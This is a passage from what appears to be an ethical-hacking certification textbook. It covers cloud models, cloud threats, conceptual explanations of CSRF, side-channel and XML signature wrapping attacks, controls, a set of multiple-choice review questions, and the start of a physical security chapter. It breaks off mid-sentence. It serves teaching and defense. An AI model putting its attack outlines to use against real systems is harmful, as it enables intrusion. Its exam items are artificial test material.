Measured Service Cloud systems automatically control and optimize resource use by
leveraging a metering capability at some level of abstraction appropriate to the type of
service. Resource usage can be monitored, controlled, and reported, providing
transparency for the provider and consumer.
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If you were to ask a group of IT people and executives what the cloud is,
their definition would probably include much more flowery language and
descriptions than what are used here. However, by most definitions the points listed
here tend to describe the vast bulk of cloud deployments with minor differences here
and there.
The most common areas where people have encountered cloud technologies are things
like email and the widespread use of services such as Google Docs, which allows
collaboration with multiple users across the Internet. The average Joe doesn’t need to
have a dedicated desktop mail client to store all their email and attachments but instead
can store everything in the cloud and use a web browser for access.
Office suites such as Google Apps and Office 365 have also entered the cloud service
world and are used by numerous consumers and businesses. We should also mention
that services such as Dropbox and OneDrive are also popular cloud storage options that
both the consumer and the workplace should be aware of. Microsoft and other companies
are also experimenting with moving programs to the cloud to make them more affordable
and more accessible to computer and Internet users. These include technologies such as
Exchange, Active Directory, SharePoint, and more.
With the ubiquitous support for cloud technologies by both service providers and the
consumer, it is no doubt that they will be around a long time. Consumers will continue to
use the services offered by the cloud, and businesses will seek to move the cost and
responsibility to a third party in order to simplify this responsibility and lower the
expense.
Types of Cloud Solutions
Calling the cloud “the cloud” simply isn’t accurate because it doesn’t fully describe the
scope of cloud services. While cloud services all share the ability to provide shared
resources, shared software, and shared information to reduce an organization’s
information technology (IT) costs, they also provide the ability to combine services in
different ways and scale up an almost unlimited amount to increase raw computing
power without the consumer having to invest in the equipment needed to support the
setup.
The first point to consider when discussing the cloud is what form the cloud will take:
public, private, hybrid, or community:
The public cloud is sometimes also called an external cloud and is hosted by a third
party that has their own personnel and resources located at their own offsite facility.
Customers can add or remove space and services on demand and only pay for those
services they use and how much of them they need.
The problem from a security standpoint with public clouds is that they are owned by a
third party and any data placed on those systems (although you still own it) is
controlled by a third party. If the idea of a third party having control of your
information is an unacceptable risk, then this is not a solution for you.
A private cloud is a cloud setup that has been built from the ground up by an
individual company for internal use only. While this solution offers all the benefits of
the cloud itself, it also offers the organization full and complete control of their
information because it is all kept onsite in their own infrastructure.
A hybrid cloud is another potentially useful setup because it combines public and
private clouds. In this setup a company might store its sensitive data on the private
cloud while scaling up additional space and capability with the public cloud.
A community cloud is another setup that is shared by several parties, but the
difference here is that the individual parties share common goals, security needs, and
resources. This setup can make things easier for management purposes and
requirements will be similar.
Although each of these models offers benefits, there are also potential snags. One
potential concern is the time data can take to travel from a remote site compared to the
time it takes when the data is stored locally. The delay is known as data latency, and it
may cause problems for time-sensitive operations.
When looking at the cloud question in terms of security, the private cloud
setup tends to win the contest. However, the tradeoff in this situation is that a
private cloud requires a higher investment in hardware, support, and related items.
On the other hand, going with a public cloud reduces all these costs and expenses but
the security needs to be evaluated and monitored much more closely.
Forms of Cloud Services
So now that you are clear on the different types of deployments that can be made with
cloud services, let’s look at the various forms of cloud services:
Software as a Service (SaaS) is the fastest growing and largest part of the cloud
services market today and is expected to continue its rapid growth. This form of cloud
service has become so popular so quickly because many companies are looking to SaaS
to supplant their current applications and services. The idea of being able to offload
the management of software to a third party but still be able to leverage the features of
the software is the allure. For example, a company that chooses to go with a product
such as Office 365 from Microsoft can integrate with a range of cloud-based services
as well as more easily update and share documents. Another example is Google’s
Gmail service, which puts the setup and management of mail servers in the cloud and
lets the users access their mailbox from anywhere.
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Because of the web delivery model, SaaS eliminates much of the need to install and
run applications on individual computers; in many cases only browser plugins are
required. This ease of use also is attractive to corporations looking to reduce their
support burdens and costs.
Platform as a Service (PaaS) is another type of cloud service but is targeted mostly
toward development purposes. Software developers can use PaaS as a framework upon
which to develop applications. PaaS makes the development, testing, and deployment
of applications simple and cost effective. With this technology, enterprise operations,
or a third-party provider, can manage OSs, virtualization, servers, storage, networking,
and the PaaS software itself while developers manage the applications.
Cloud infrastructure services, known as Infrastructure as a Service (IaaS), are selfservice models for accessing, monitoring, and managing remote datacenter
infrastructures, such as computing, storage, networking, and networking services (for
example, firewalls).
For something to be considered cloud computing, you need to access your data or your
programs over the Internet—or at the very least, have that data synchronized with other
information over the web. In a large business environment, you may know all there is to
know about what’s on the other side of the connection; as an individual user, you may
never have any idea what kind of massive data processing is happening on the other end.
Threats to Cloud Security
Cloud environments don’t mean fewer problems relating to security; many of the same
issues from traditionally hosted environments exist in the cloud. Cloud security should be
treated very seriously, as seriously as it would be in any other situation where you have
mission-critical services, important data, and business processes that you depend on to
keep things moving. In order to understand the types of threats that exist in the cloud and
how they may affect your environment, I have compiled a list of security issues that are
universally recognized as being the biggest, but not the only, issues facing the cloud and
cloud environments:
A single data breach resulting in a loss of a single record is bad, and a breach resulting
in the loss of multiple records is worse, but a massive loss of records is catastrophic.
In 2013, Target Corporation lost at least 110 million credit cards and personal
information to hackers; this theft is still proving costly to their image and their bottom
line. In 2015, it was revealed that the Office of Personal Management (OPM) in the
United States lost 22 million records in a single data breach; included in that number
were around 2 million records that included biometric data on individuals. Both
breaches were horrendous and have resulted in costly legal action and other issues.
Data breaches on the scale of Target and OPM are more than possible in the cloud,
and so you need to be aware of and manage the weaknesses that may lead to such a
loss. You should use encryption for both storage and transmission. Also, you can
employ virtual machines to isolate operations and processes in the cloud. In some
environments the potential for a loss is so great that private clouds should be used
instead of commercial solutions.
Data loss is another potential danger that must be addressed by adopters of the cloud
or any technology that stores data. Unlike a data breach, data loss is the process of
losing data through inadvertent or accidental means. For example, the loss of data due
to a lack of backup would be data loss. Large-scale data loss is possible, but small-scale
loss of data is much more likely to occur.
Account and service traffic hijacking is another concern with cloud applications and
services, just as it is with traditional applications. By taking advantage of software
flaws, buffer overflows, poor passwords, or weak encryption, an intruder can gain
control over an account and even use phishing, sniffing, and MitM attacks to
compromise the system. Altered transactions, manipulated data, crashed applications,
and false information are only some of the possible outcomes of this situation.
No less of a problem is the very real issue of an account being compromised by an
intruder eavesdropping or using other means to intercept credentials. Once in
possession of these credentials, the hacker can take additional actions, including
planting software, changing configurations, or even using a system as a pivot to dive
deeper into the application or environment. Depending on the situation, it is entirely
possible for an intruder to get access to a high-level account and have near limitless
access to the environment.
Insecure APIs have caused numerous problems. The same APIs put in place to allow
third-party developers to plug their applications into cloud services can also allow an
attacker to dig deeply into a system and perform illegal actions and gain information.
This problem doesn’t take into account the third-party applications that may have
their own APIs that may be flawed.
Denial of service is just as possible with a cloud-based application as it is with
traditional systems. Though cloud services may be less vulnerable in most cases, they
are still vulnerable and could be taken down by a determined intruder. Add into this
situation DDoS-based strikes, and a determined intruder could take down a cloud
service.
One problem that occurs with the cloud that doesn’t appear in many other places is
the potential for different types of financial impact. With cloud services the customer
may get billed for the extra resources being consumed in the form of traffic. In some
cases the increased expense may cause a business to shut down rather than pay a huge
bill associated with an attack.
Malicious insiders have been the focus of a number of conversations regarding the
cloud. Since you are no longer hosting your solution onsite, you have to trust that the
provider of the service has properly vetted and is monitoring their employees. A single
malicious insider could easily cause problems in the form of lost or stolen data; this
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problem could not only impact the operation of your business but also have an
incredible impact when the data ends up in the wrong hands.
Abuse of cloud services brings an interesting type of attack to the table. Thanks to the
increased and aggregated power that is present in cloud solutions, it is possible to pool
resources in order to crack passwords and encryption keys. This type of attack has
already been seen with distributed computing, but with the introduction of the cloud it
has become much easier to carry out.
Poor security or lack of due diligence from the service provider is possible and could
be very damaging to the customer. Lack of monitoring, policy, employee screening,
maintenance, and the like can be catastrophic. Unpatched software due to poor
maintenance, poor design, or poor programming alone could easily result in security
issues and other problems.
Multi-tenancy environments are a common setup for the cloud (unless you happen to
be building a private cloud). In multi-tenant environments there is an increased
potential for a data breach or other compromise. With resources shared among
tenants within the cloud, there could be a situation where another tenant is privy to
your data either through malicious means or accidentally.
Remember, unless you are in an environment that you completely own such as a
private cloud, you are in a shared environment. In any shared environment a lapse in
security could lead to an exposure, and thus you should take care to ensure that endto-end protection exists.
The threats listed here are not the only threats in the cloud; they just happen to be some
of the bigger ones. Many of the threats that exist in the cloud are the same or nearly the
same as those in traditional, non-cloud deployments. However, that doesn’t mean
everything is the same across the board, as we will examine in this chapter.
Cloud Computing Attacks
In the world of cloud computing, various attacks can be employed against a target; many
of them are variations or are the same as those you have already seen, but there are some
new faces. Many of the attacks we will explore here can be executed against any of the
cloud service models mentioned earlier without any variation.
Session Riding (aka Cross-Site Request Forgery)
This attack can be potentially brought to bear against environments that have a web
application present. Let’s examine how this type of attack functions to compromise a
system.
CSRF is an attack designed to entice a victim into submitting a request, which is
malicious in nature, to perform some task as the user. Since the request is inadvertently
submitted by the user, the request runs with the privileges and context of the user,
meaning that depending on what access they have, the request could cause serious harm.
Making this attack even more effective is that most of the applications that accept this
type of attack keep track of information about the client. Armed with this information and
not knowing that the user was enticed into executing the request, the application will
have no way to determine if the request is malicious; it will assume it is legitimate since it
appears to originate from the same place.
So what harm can the attack accomplish? Typically the attacking party will attempt to
alter information on the server so as to make it easier to compromise or come back later.
Attackers would not benefit from using a CSRF to retrieve information because the
request is executed by the victim and the responses would return to them.
Another variation and more advanced version of this attack is a stored CSRF attack. In
this type of attack the forged request is stored on the server. An attacker can store the
request on a site by finding a site that accepts HTML input and submitting a request as an
<img> tag or other tag and in some cases even as a form of stored XSS attack.
Let’s take a closer look at how the attack works in practice. Keep in mind that this form of
attack has numerous options and variations with which to deploy itself. The form we will
use is simple and will take the following form:
1. Building an exploit URL or script
2. Tricking the victim into executing the action
3. Executing a GET command
If the exploited application has been developed to use GET requests to transfer
parameters and execute actions, the response might take this form:
GET http://<address>?<action> HTTP/1.1
An attacker seeing that this type of attack works could then craft an attack that does
something more malicious. With a little effort the attacker could simply alter the action
portion of the request to perform a more aggressive and bolder action, such as
transferring money from the victim’s account to the attacker’s account.
The key to making this attack successful for the attacking party is to find a way to get the
victim to execute the request when they are logged in to the account.
CSRF, or session riding, is not exclusive to cloud environments; it can
occur in environments where non-cloud web applications exist. Nothing delineates
the two environments; the same technologies can exist in both situations, which
consist of web servers and applications hosted on top of them.
Side Channel Attacks
This type of attack is unique to the cloud and potentially very devastating, but it requires
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a lot of skill and a measure of luck. This form of attack attempts to breach the
confidentiality of a victim indirectly by exploiting the fact that they are using shared
resources in the cloud.
In order to execute this attack successfully, the attacker must have a few things in place:
A virtual machine placed on the same physical location as the victim. By definition
this is very tough to do because the cloud is designed to hide the details of the physical
side of things from the customer. However, using tools such as traceroute and DNS
queries, it is possible to locate a target system with around 50 percent accuracy.
Once the VM is placed on the same server as the VMs of the victim, the attacking party
can commence their actions.
So placed, the attacker can exploit the fact that they and their target are on the same
server sharing resources, including memory, processor, cache, and the network itself.
In this situation, the attacker can use scripts and applications to determine if sensitive
information is somewhere within reach of being intercepted.
Fortunately, side channel attacks are very difficult to execute and have very few cases of
being successful in the wild.
Research has been published by the University of North Carolina at
Chapel Hill on the mechanics and effects of side channel attacks. They have
published several papers on how the attack works, how they conducted their
research, and many more potential scenarios than are possible to mention here.
Signature Wrapping Attacks
Another type of attack is not exclusive to a cloud environment but is nonetheless a
dangerous method of compromising the security of a web application. Basically, the
signature wrapping attack relies on the exploitation of a technique used in web services.
In the Simple Object Access Protocol (SOAP) used by web services, requests and
responses can be signed using an XML signature. The messages contain a security header
with an included signature element that references how the message has been signed. In
practice, the messages are typically in parts and are referenced by an ID, and so to validate
the signature the recipient must find the element in the request that has the
corresponding ID. An XML signature wrapping attack essentially exploits the fact that the
signature element does not convey any information as to where the referenced
element(s) is (are) in the document tree.
An XML signature wrapping attack would work as follows. A malicious user could take a
valid request, copy the SOAP body, and insert it as part of a header in the request. The
malicious user would then freely alter the SOAP body but preserve the same ID. The
message recipient must search for the reference URI as part of the signature validation
process and would hit the copied SOAP body element first. This would verify correctly
since it has not been changed. Finally, the recipient would check to see if the ID of the
SOAP body was actually referenced in the signature.
The result of this attack is that an attacker could alter a message without invalidating it.
This means the system or application would accept the message as correct even though it
had been altered.
So what is SOAP? SOAP was designed to allow web services and
applications to communicate regardless of their operating system. Specifically, it
allows the use of HTTP and XML over the various protocols.
The benefit of protocols such as HTTP and XML is that they are universal and
provide support across all major operating systems and devices. With the addition of
SOAP, an application on one computer can talk to an application on another
computer and understand how to encode the HTTP headers and XML so the two can
pass reliable information back and forth. One thing to keep in mind with SOAP,
however, is that it is frequently paired with HTTP, but it is not in any way bound to
this protocol.
In fact, SOAP specifically defines the XML format that applications use to
communicate over the web. It is due to protocols such as SOAP that the dissimilar
platforms across the web can communicate and establish a standard.
Far more information on SOAP is available than is described here, but it is not
necessary for penetration testers to know it at this level.
Other Types of Attacks against the Cloud
What I have attempted to document in this chapter on cloud technologies are the attacks
that are unique or have changed in respect to the cloud. There are other attacks to be
sure, but we have covered all of them already in other chapters, so we will not cover them
again here to keep things simple.
The attacks that you can view in other chapters that are also applicable to the cloud
include the following:
Service hijacking using network sniffing
Session hijacking using XSS attacks
Domain Name System (DNS) attacks
SQL injection attacks
Cryptanalysis attacks
Denial-of-service (DoS) and Distributed DoS attacks
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These are not the only types of attacks that can be deployed by an attacker against a cloud
service. Attacks such as buffer overflows, social engineering, application attacks, input
validation, MitM, session hijacking, and others also pose a threat depending on the
conditions and what is actually present in a specific environment.
Controls for Cloud Security
When working with the cloud, you can deploy many controls in response to the various
threats to a cloud environment:
Security design and architecture are huge keys to the success or failure of your cloud
solution. Firewalls, virtual machines, storage encryption, IDS, Transport layer
encryption, policies, and many other tools can be employed. The even bigger
consideration to ensuring that security works at the optimum level is through design,
specifically by addressing security at the beginning of the process rather than later on.
Identity and access management are critical for any secure application and just as
much so for cloud applications. A comprehensive solution consisting of
authentication, authorization, and the access control that comes with it is essential to
the protection of critical resources. Furthermore, cloud service providers are being
tasked with providing even stronger solutions in the form of multi-factor
authentication, which offers increased levels of protection and can go a long way
toward minimizing risk.
Governance is an oft-mentioned but not always clearly understood aspect of
technology and systems that we need to set straight. In the context of the cloud,
governance ensures that the policies, procedures, standards, and other related items
are deployed and enforced to ensure proper functioning and support.
Risk management is vital, as are all the risk assessments and vulnerability
assessments that go along with it. All organizations that seek to place their
information, services, or applications within the cloud need to ensure that they closely
examine and assess the level of risk they are taking on and if they can or need to do
more to lower it. In today’s environment, evaluating risk in relation to PII or PHI is
not only financially important but also legally important.
Compliance is another key area that must be observed and adhered to because it
represents your legal responsibilities. Compliance is based on industry, locations, type
of data, and other factors. Being out of compliance is a big problem with potential
fines, civil actions, and other actions waiting in the wings to penalize you for failure.
Availability comes to the consideration of a solution’s usability and uptime; most
companies just look at the number of 9s in the SLA provided by their CSP. But they
often fail to consider about what happens when any of the following occurs:
Temporary loss of access
Outage—equipment/network failure
Permanent loss of data
Natural disaster
Denial of service
Business continuity and Disaster Recovery
Testing Security in the Cloud
So how do you test for security in the cloud? Many options are available in both the
manual and automated tools you have used with web applications, but there are other
options as well.
The tools listed here are discussed at SearchSecurity.com and are representative of
normal tools for cloud testing:
SOASTA CloudTest This suite can enable four types of testing on a single web platform:
mobile functional and performance testing and web-based functional and performance
testing. It can simulate millions of geographically dispersed concurrent users visiting a
website to test the application under huge loads.
LoadStorm LoadStorm is a load-testing tool for web and mobile applications and is easy
to use and cost effective. It is ideal for checking performance under excessive traffic or
usage and is highly scalable; it can simulate as many virtual users as required to find the
breaking point of a website or app. Various load-testing scenarios are available, which are
also customizable.
BlazeMeter BlazeMeter is used for end-to-end performance and load testing of mobile
apps, websites, and APIs. It is JMeter compatible and can simulate up to 1 million users.
It facilitates realistic load tests and performance monitoring combined with real-time
reporting.
Nexpose Nexpose is a widely used vulnerability scanner that can detect vulnerabilities,
misconfigurations, and missing patches in a range of devices, firewalls, virtualized
systems, cloud infrastructure, and the like. You can use it to detect threats such as
viruses, malware, backdoors, and web services linking to malicious content. For sectors
like healthcare and banking, it can also be used to perform compliance auditing. It
generates scan reports and remediation recommendations in flexible formats, including
sending targeted emails.
AppThwack AppThwack is a cloud-based simulator for testing Android, iOS, and web
apps on actual devices. It is compatible with popular automation platforms like
Robotium, Calabash, UI Automation, and several others. If you wish to test through
clients other than the official site, there is a REST API that allows that. Other key features
include multi-platform support, customizable testing, and detailed test reports.
Jenkins Dev@Cloud Dev@Cloud facilitates development, continuous deployment, and
integration on the cloud. It allows development in many languages and deployment to
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any number of services. It provides a wide array of mobile tools for development and
allows you to connect securely to existing systems via the cloud. It brings in benefits of
third-party systems like Google App Engine, Cloud Foundry, and AWS Elastic Beanstalk.
Xamarin Test Cloud Xamarin Test Cloud is a UI acceptance-testing tool for mobile
apps. It allows writing tests in C# using the NUnit testing library through the UITest
framework or in Ruby through the Calabash framework. The tool runs the test on over a
thousand physical devices and displays full-resolution screen shots of each step, including
relevant data like CPU and memory usage and test time. It can be integrated into
automated builds for continuous integration.
Summary
The term cloud computing is everywhere, and the technology is deployed everywhere
from the home market to the business place. Because it is such a common technology, it
can and will be integrated into the environments you will be penetration testing.
Therefore, you need to know how the cloud is positioned.
In the simplest terms, cloud computing means storing and accessing data and programs
over the Internet instead of your computer’s hard drive. The cloud is just a metaphor for a
service or storage where the exact underlying mechanics aren’t required to be known or
just don’t matter. Rather, the functionality provided is the important part of the equation.
The cloud is different than network attached storage or any other type of server. Storing
content on a home storage device or enterprise storage device is not the same as having or
utilizing the cloud; the customer never knows where the content is. The cloud is much
different than other storage methods of the past and counts as a new way of delivering
services, providing storage or simply a development platform.
Fortunately, cloud computing has been around for some time now, and the applications
hosted in that environment are both easy to test and use the same tools that we use to
test web applications and other environments.
Exam Essentials
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Understand the different types of cloud platforms. Understand that not all cloud
platforms are the same, and each offers something different than the others.
Know what types of security are available in the cloud. While the cloud is
different in many respects and similar to other environments, security has to be carefully
considered.
Understand the threats that face cloud environments. Many of the threats that
face cloud environments also face traditional environments. Threats such as man in the
middle and others can cause the same problems as they can in traditional situations.
Review Questions
1. SaaS is a cloud hosting environment that offers what?
A. Development options
B. Testing options
C. Software hosting
D. Improved security
2. Which of the following can be used to protect data stored in the cloud?
A. SSL
B. Drive encryption
C. Transport encryption
D. Harvesting
3. SOAP is used to perform what function?
A. Transport data
B. Enable communication between applications
C. Encrypt information
D. Wrap data
4. Which attack alters data in transit within the cloud?
A. Packet sniffing
B. Port scanning
C. MitM
D. Encryption
5. Altering a checksum of a packet can be used to do what?
A. Send an RST
B. Send a URG
C. Reset a connection
D. Evade an NIDS
6. Cloud technologies are used to accomplish which of the following?
A. Increase management options
B. Offload operations onto a third party
C. Transfer legal responsibility of data to a third party
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D. Cut costs
7. A cloud environment can be in which of the following configurations except?
A. IaaS
B. PaaS
C. SaaS
D. LaaS
8. What type of cloud service would provide email hosting and associated security
services?
A. PaaS
B. SaaS
C. IaaS
D. SSaS
9. Who has legal responsibility for data hosted in the cloud?
A. The Cloud Service Provider
B. The IT department of the client
C. The client
D. The consumer
10. Why wouldn’t someone create a private cloud?
A. To reduce costs
B. To offload technical support
C. To increase availability
D. To maintain universal access
11. There are how many different types of cloud hosting environments?
A. Two
B. Three
C. Four
D. Five
12. Which of the following would be hosted as SaaS?
A. Email
B. Active Directory
C. Applications
D. Firewalls
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13. A cloud-based firewall is used to separate which of the following?
A. Networks
B. Hosts
C. Permissions
D. ACL
14. An application would be developed on what type of cloud service?
A. BaaS
B. SaaS
C. IaaS
D. PaaS
15. Which of the following issues would be a good reason for moving to a cloud based
environment?
A. Reduced costs
B. Improved performance
C. Easier forensics
D. Increased redundancy
16. HTTPS is typically open on which port in a cloud based firewall?
A. 25
B. 443
C. 80
D. 110
17. What system is used as a choke point for traffic and could be offered through IaaS?
A. IDS
B. DMZ
C. Bastion host
D. SNMP host
18. At which layer of the OSI model would you expect a cloud based solution to operate
at?
A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 4
19. What type of firewall analyzes the status of traffic and would be part of a IaaS
solution?
A. Circuit level
B. Packet filtering
C. Stateful inspection
D. NIDS
20. What can be used instead of a URL to evade some firewalls used to protect a cloud
based web application?
A. IP address
B. Encryption
C. Stateful inspection
D. NIDS
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Chapter 19
Physical Security
CEH EXAM TOPICS COVERED IN THIS CHAPTER:
III. Security
F. Physical Security
P. Vulnerabilities
Working with all the technical and administrative parts of security,
you may easily overlook the physical component. If you get too immersed in the technical
details and other aspects, it is entirely possible that you may miss something that can be
physically done to a piece of hardware or equipment, such as theft or vandalism. As an
ethical hacker or security administrator, you need to come to grips with the fact that not
all of what you do will be focused only on the technical aspects, so you must know how to
protect your assets from physical threats.
Those who perform malicious actions are well aware that although technology and
defenses have gotten better, the physical side is overlooked far too often. In many cases, if
an attacker does not have a clear or easy way of using technology to breach a target, they
may move over to a physical attack to gain information or access. Techniques such as
dumpster diving and tailgating, among others, have proven very effective and popular. In
addition, weaknesses in the security of a facility can allow a malicious or unauthorized
party to gain access to a portion of an office or location that they should not otherwise be
able to access.
Attackers of all types are known to put locations under surveillance to look for these
weaknesses. These stakeouts allow an attacker to see traffic patterns and other activity in
and out of a location as well as the personnel, potentially giving them the ability to target
individuals or see when it may be an ideal time to breach a facility.
In this chapter we will cover many aspects of physical security, including the ways that an
attacker can gain control of an environment through nontechnical means.
Introducing Physical Security
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Physical security defenses, in many cases, are the primary protective boundary for
personnel assets in the real world. Physical security involves the protection of such assets
as personnel, hardware, applications, data, and facilities from fire, natural disasters,
robbery, theft, and insider threats.
The problem with physical security is that it can be easily overlooked in favor of the more
publicized technical issues. Companies do so at their own peril, however, since
nontechnical attacks can be carried out with little or no technical knowledge.
Simple Controls
Various controls can be used to protect and preserve the physical security of an
organization. You have already encountered several throughout this book. In many cases,
just the visible presence of controls is enough to stop an attack.
One of the most basic controls that can protect physical interaction with a device, system,
or facility is the use of passwords. Passwords can protect a system from being physically
accessed or from being used to access a network.
Passwords and Physical Security
Passwords are perhaps one of the best primary lines of defense for an environment.
Although not commonly thought of as a protective measure for physical intrusions, they
do indeed fulfill this purpose. However, the downside is that unless passwords are
carefully and thoughtfully implemented they tend to be somewhat weak, offering
protection against only the casual intruder. Organizations have learned, as you saw in our
system hacking exploration, that passwords can be easily circumvented and must be
managed in order to avoid problems.
Working with Passwords
Experience has shown that users of systems tend to do the following:
Ninety percent of respondents reported having passwords that were dictionary
words or proper names.
Forty-seven percent used their own name, the name of a spouse, or a pet’s name
as their password.
Only 9 percent actually remembered to use cryptographically strong passwords.
Companies and organizations of all types have had to enforce strong password policies
and management guidelines in order to thwart some of the more common and dangerous
attacks. As you saw earlier in this book, passwords should always be complex and well
managed; components of a good password include the following:
Allow no personal information in passwords.
Avoid passwords that are less than 8 characters. The standard nowadays is moving
toward 12 characters and longer.
Require regular password change intervals—for example, every 90 days a password
will be changed.
Enforce complex passwords that include upper- and lowercase letters as well as
numbers and characters.
Limit logon attempts to a specific number before an account is locked.
Something increasingly observed in the real world is the replacing or
supplementing of traditional passwords with additional security measures, including
tokens and smart cards. The idea is that the addition of these devices to existing
password systems will markedly improve the security of systems and environments
overall. The problem is that such an approach carries a large cost up front in terms of
upgrades to infrastructure and equipment. However, do expect these devices and
systems to become more commonplace.
Screensavers and Locked Screens
In the past, one of the common ways to gain access to a system was to simply look around
for an unattended system. In many cases, the system would be left logged in and
unlocked by a user who was only going to step away “for a moment” without realizing that
a moment was enough for an attacker to cause mischief or worse.
To thwart intruders from attempting to use an unattended system, you can use a
password-protected screensaver or a locked console. The older of these two mechanisms
is the password-protected screensaver. Its popularity comes from the fact that it is easy to
implement and will stop many a casual intruder. The concept is simple: When a user
leaves a system idle for too long, the screensaver starts and, once it does, only a password
can deactivate it. In most cases, someone walking by wiggling a mouse or tapping the
keyboard will be prompted for a password, usually providing a deterrent sufficient to stop
any further attempts.
Working alongside or instead of screensavers is the newer and more preferred lock
screen. This screen, when available on a given operating system, will actively lock the
desktop until a password and username are entered into the system. The benefit of this
mechanism over screensaver mechanisms is that it provides a much more secure way of
locking a computer than a simple screensaver, which provides minimal protection. In a
Windows environment, pressing Ctrl+Alt+Del will lock the screen manually, while a
system administrator can deploy a policy that will lock the system automatically after a
defined period. It is important, however, to make sure that users understand that locking
the screen automatically does not absolve them of any responsibility for making sure they
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log out properly.
In some environments, smart cards are issued in addition to standard
usernames and passwords. The smart card must be inserted into a reader on the
system prior to logging in to the desktop.
Another mechanism for protecting or defending a system is the use of warning banners.
When in place, a warning banner provides a high-profile message stating that a user of a
system will be held accountable for their actions as well as consent to other things such
as monitoring. In addition, warning banners establish what is and is not acceptable on a
system and set the stage legally if any sort of action needs to be taken against a user, such
as termination of employment.
The following is an example of a warning banner:
**WARNING**WARNING**WARNING**
This is a (Agency) computer system. (Agency) computer systems are provided for the
processing of Official U.S. Government information only. All data contained on
(Agency) computer systems is owned by the (Agency) and may be monitored,
intercepted, recorded, read, copied, or captured in any manner and disclosed in any
manner, by authorized personnel. THERE IS NO RIGHT OF PRIVACY IN THIS
SYSTEM. System personnel may give to law enforcement officials any potential
evidence of crime found on (Agency) computer systems. USE OF THIS SYSTEM BY
ANY USER, AUTHORIZED OR UNAUTHORIZED, CONSTITUTES CONSENT TO THIS
MONITORING, INTERCEPTION, RECORDING, READING, COPYING, OR
CAPTURING and DISCLOSURE.
**WARNING**WARNING**WARNING**
Although different companies and organizations will use different warning banners, the
intent is generally the same: to inform users that they are being monitored.
Dealing with Mobile Device Issues
An additional issue that must be considered in today’s environment more than ever is the
physical theft of devices and equipment. With the proliferation of ever more powerful and
compact devices—including mobile devices, laptops, cell phones, and even hard drives—
providing some sort of protection has become essential. Because many devices today are
easily portable, theft has become much easier. Gone are the days when an attacker would
have to carry a large device or piece of equipment out of a building. Now they can quickly
and easily take it from a desktop or steal it from a user outside the building.
Encryption
Mobile devices are increasingly being required to have encryption measures in place.
Internal storage and MicroSD cards are required in many organizations to be encrypted
on all mobile devices. Many have taken this step to avoid the disclosure of private or
embarrassing loss of data if the device falls into the wrong hands or is stolen. It is also a
legal requirement in many cases to ensure this protection is in place.
In addition, modern mobile OSs such as Android 6.0 Marshmallow have gone one step
further by making encryption mandatory. While Android 5.0 tried to make this
mandatory, the hardware at the time was not adequate to provide decent performance
when encryption was enabled. Now with more powerful hardware available, the feature
must be enabled unless otherwise unable to do so. This means that by default storage on
these devices will be encrypted.
Data Storage Security
One of the problem areas to emerge over the past few years is the physically small but
large-storage-capacity hard drives. Specifically, the ones we are concerned about here are
the external hard drives that use USB or FireWire to interface with a system. The
proliferation of these devices is a result of their ability to move large amounts of data in
an easy-to-carry format. This is also the problem with the devices: They carry a
tremendous amount of information and can be easily transported. The average external
drive is typically no bigger than a pack of playing cards. USB devices in the form of flash
drives present an even more interesting and alarming problem with their small form
factor and ability to carry large volumes of information. This format allows for the easy
upload of information such as malware, which it has been used for in many cybercrimes.
Problems with USB
External USB hard drives have been lost or stolen on numerous occasions,
compromising a company’s security in the process. In some cases, drives that were
bought with the intention to serve as a backup eventually became the storage area for
the sole copy of data. Because of the loss of such backups, many companies have had
to rebuild or recover data, which resulted in big financial losses as well as lost time
and productivity.
For security reasons alone, many organizations such as the U.S. Department of
Defense have banned the use of these devices, making it a punishable offense to have
them in some facilities.
Securing a portable hard drive or any storage device can be made easier through the
application of technology and proper procedures. One of the most efficient ways to
protect the confidentiality and integrity of information on these devices is encryption.
Applying encryption across a whole volume or drive provides robust protection against
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data falling into the wrong hands. With the increasingly widespread availability of full
drive encryption, it is worthwhile for every company or organization to evaluate the need
and benefits of implementing this type of protection. Although full drive encryption will
not prevent a drive from being physically stolen, it will go a long way toward preventing
the thieves from accessing the information easily.
Legal Issues with Data
Encryption may be mandated by law. For example, some U.S. agencies are legally
required to encrypt the hard drives that are present in laptops in case the device is
lost or stolen. In 2006 the U.S. Department of Veterans Affairs (VA) lost a laptop that
resulted in the compromise of 26.5 million patient records. The fallout from this
incident was financial issues due to identity theft for many of the affected patients as
well as a $20 million settlement and credit-monitoring services for the victims.
Currently there are numerous options for deploying drive encryption. Among the leading
solutions are these:
PGP
Microsoft BitLocker
VeraCrypt
WinMagic
Linux Unified Key Setup (LUKS)
Pros and Cons of Drive Encryption
Drive encryption is becoming an increasingly common option in all sorts of devices,
from laptops and mobile devices to the drives in some printers. Encryption at this
level is often required for legal as well as security reasons, but in many cases you
need to consider performance impacts.
There is always a price to pay to get something in return, and encryption is no
different. Due to the complexity of the process and the large amounts of data
involved, the penalty in system performance may be noticeable. This becomes a
bigger concern with mobile systems where performance is at a premium and the
need for encryption is higher.
As a professional, you will have to choose which is more important to you:
performance or security. Performance may suffer, but the need for data security may
be of higher importance as well as legally required.
When talking about hard drives, we need to cover flash drives as well. Flash drives have
proven to be both a blessing and a curse because they allow for the carrying of large
amounts of data, but at the same time they are small and easily lost. To thwart this
problem, companies need to consider encryption. Unfortunately, many of the
commercially available drives do not offer encryption services, and the ones that do are
relatively expensive by comparison. However, you must weigh the cost against how
dangerous and problematic it would be if one of these devices was lost and fell into the
wrong hands.
The Perils of USB In mid-2015 a new danger was added to the issue of plugging in
unknown or found hard drives, hardware destruction.
A researcher from Russia going by the name of Dark Purple created a USB device that
can permanently destroy computer hardware. The device plugs into a USB port and
will destroy the hardware on the computer, causing it to catch on fire in some cases.
The device is able to do this by virtue of the fact that it creates feedback of -220 volts
which is by far enough to destroy a computer.
Both portable hard drives and flash drives also suffer from another issue because of their
size and the amount of data they can carry. These devices, especially flash drives, are
extremely portable and easy to hide, so they represent a huge security risk. It is easy for
an attacker to carry a flash drive into an organization and plug it in to steal information or
to execute a piece of malware. To prevent this in your organization, you should restrict
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the use of flash drives and portable hard drives as well as consider encryption and usage
policies to control or bar their use.
In addition to encryption for hard drives and mobile storage, consider how to thwart
actions such as dumpster diving for discarded media. Companies generate a tremendous
amount of information on CDs, DVDs, and other formats, including the occasional floppy
disk (though rare). Develop procedures for the storage, handling, and proper destruction
of these materials. In most cases, shredding or similar destructive methods can be used
prior to disposal in order to keep information out of thieves’ hands. Management should
also dictate how each of these approved forms of storage can be handled and destroyed.
Some of the methods used for sanitation are as follows:
Drive Wiping Drive wiping is the act of overwriting all information on the drive. As an
